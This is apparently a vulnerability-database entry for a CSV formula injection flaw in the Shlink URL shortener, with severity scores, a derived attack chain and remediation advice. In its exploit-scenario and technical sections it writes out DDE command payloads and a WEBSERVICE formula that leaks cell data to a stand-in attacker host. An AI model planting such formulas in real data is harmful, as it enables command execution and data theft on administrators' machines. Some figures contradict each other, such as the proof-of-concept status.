Skip to main content

Shlink EUVDEUVD-2026-52439

| CVE-2026-18738 MEDIUM
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-08-03 VulnCheck GHSA-ghrv-q878-w45x
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Send crafted HTTP request to any short URL
  2. Delivery
    User-Agent/Referer stores formula payload in visit log
  3. Exploit
    Administrator exports visit data as CSV
  4. Execution
    Administrator opens CSV in spreadsheet application
  5. Persist
    Spreadsheet evaluates DDE/WEBSERVICE formula
  6. Impact
    Arbitrary command executes or data exfiltrated on admin client

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
Exploitation Conditions

The attacker requires only network access to any short URL hosted on the vulnerable Shlink instance - no authentication, no account, and no special configuration is required to plant the payload. Exploitation of the planted payload is gated on two administrator actions: (1) the administrator must use the visit export feature to generate a CSV file, and (2) the administrator must open that CSV in a spreadsheet application (Excel, LibreOffice Calc, Google Sheets if imported) with formula evaluation or DDE connections enabled. DDE execution in Excel is blocked by default in Microsoft 365 versions since 2017 updates and requires the user to click through a security warning; older or unpatched Excel installations and LibreOffice with macro security set to low are more directly vulnerable. Exploitation is limited to Shlink versions 5.0.0-5.1.5 and does not affect instances where CSV export is restricted or disabled.

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:N/UI:A) accurately captures the key risk qualifier: active user interaction is required - an administrator must both export and open the malicious CSV. This substantially limits opportunistic mass exploitation. EPSS data is not present in the supplied intelligence, so probabilistic exploitation likelihood cannot be quantified from this source. The product is not listed in CISA KEV, indicating no confirmed widespread active exploitation. A proof-of-concept repository exists, which lowers the skill bar for targeted attacks against Shlink administrators. Real-world risk is moderate for deployments where administrators routinely export visit analytics to spreadsheets with DDE or external data connections enabled - a common workflow in analytics-driven operations. The attack requires no authentication to plant the payload, but the two-step delivery (data injection then administrator action) makes mass automated exploitation unlikely. The biggest realistic risk is targeted social engineering or persistent poisoning of visit logs to eventually be opened by an admin.

Exploit ScenarioDerived

An attacker sends a single HTTP GET request to any publicly accessible Shlink short URL with a User-Agent header beginning with a DDE payload such as =DDE('cmd','/c powershell -enc <base64>','') - no account or prior knowledge beyond the Shlink instance's hostname is required. The malicious value is stored in Shlink's visit database. When the administrator later exports visit analytics as CSV and opens the file in Microsoft Excel with DDE enabled, the formula executes silently, potentially running arbitrary commands or exfiltrating data to an attacker-controlled server. A public proof-of-concept repository demonstrates this injection path.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 03, 2026

CSV formula injection in Shlink 5.0.0-5.1.5 enables unauthenticated remote attackers to embed DDE or WEBSERVICE spreadsheet formulas into visit export data by supplying formula-triggering values in User-Agent, Referer, or request path headers targeting any short URL. The payload lies dormant in Shlink's visit log until an administrator exports the data as CSV and opens it in a spreadsheet application (Excel, LibreOffice Calc) with formula evaluation enabled, at which point the formula executes in the context of the administrator's machine. A public proof-of-concept repository exists; no CISA KEV listing is present, and no public exploit exploitation in the wild has been confirmed at time of analysis.

RemediationAI

No vendor-released patch version has been independently confirmed from the available intelligence at time of analysis; the VulnCheck advisory at https://www.vulncheck.com/advisories/shlink-csv-formula-injection-via-visit-export-cli and the researcher's proof-of-concept at https://github.com/theopaid/CSV-formula-injection-in-visit-exports-shlink- should be monitored for a fixed release announcement. Until a patch is available, the most effective compensating control is to disable or restrict access to the visit CSV export feature to reduce exposure surface - this prevents the payload delivery mechanism entirely. Administrators who must use the export feature should open CSV files in a sandboxed environment or configure their spreadsheet application to block DDE and external data connections (in Excel: File > Options > Trust Center > External Content; in LibreOffice: Tools > Macro Security). Enabling Protected View for downloaded files in Excel will prompt before evaluating formulas, reducing automatic execution risk. Network egress filtering on administrator workstations can blunt WEBSERVICE-based data exfiltration payloads even if formulas execute.

Affected VersionsENISA

Shlink 5.0.0 ≤5.1.5

Affected Packages

euvd shlink no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Shlink (CPE: cpe:2.3:a:shlinkio:shlink:*:*:*:*:*:*:*:*) is a self-hosted open-source URL shortener that records per-visit metadata - including User-Agent, Referer, and request path - into a visit log, and exposes that data as exportable CSV. The root cause is CWE-1236 (Improper Neutralization of Formula Elements in a CSV File): Shlink does not sanitize or prefix formula-triggering characters (=, +, -, @) before writing attacker-controlled HTTP header values into CSV cells. DDE (Dynamic Data Exchange) payloads such as =DDE('cmd','/c calc','') and WEBSERVICE formulas such as =WEBSERVICE('https://attacker.example/?leak='&A1) are classic injection payloads that spreadsheet engines evaluate on file open when macro or DDE protections are disabled. The vulnerability was reported by VulnCheck and a researcher-authored proof-of-concept exists on GitHub, confirming the injection path is straightforward.

Know when Shlink gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 MEDIUM

No auth required to inject; scope changes to administrator's spreadsheet client, yielding low confidentiality and integrity impact on the subsequent system.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Shlink versions 5.0.0 through 5.1.5 contain a CSV formula injection vulnerability that allows unauthenticated remote attackers to plant spreadsheet formulas into exported visit data by supplying malicious values in User-Agent, Referer, or request path headers beginning with formula-triggering characters such as =, +, -, or @. Attackers can craft a single unauthenticated request against any short URL to embed DDE or WEBSERVICE formula payloads into CSV cells, which are then executed on an administrator's client machine when the exported CSV file is opened in a spreadsheet application that evaluates formulas.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Prevalence
Low
self-hosted niche URL shortener, limited enterprise footprint
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy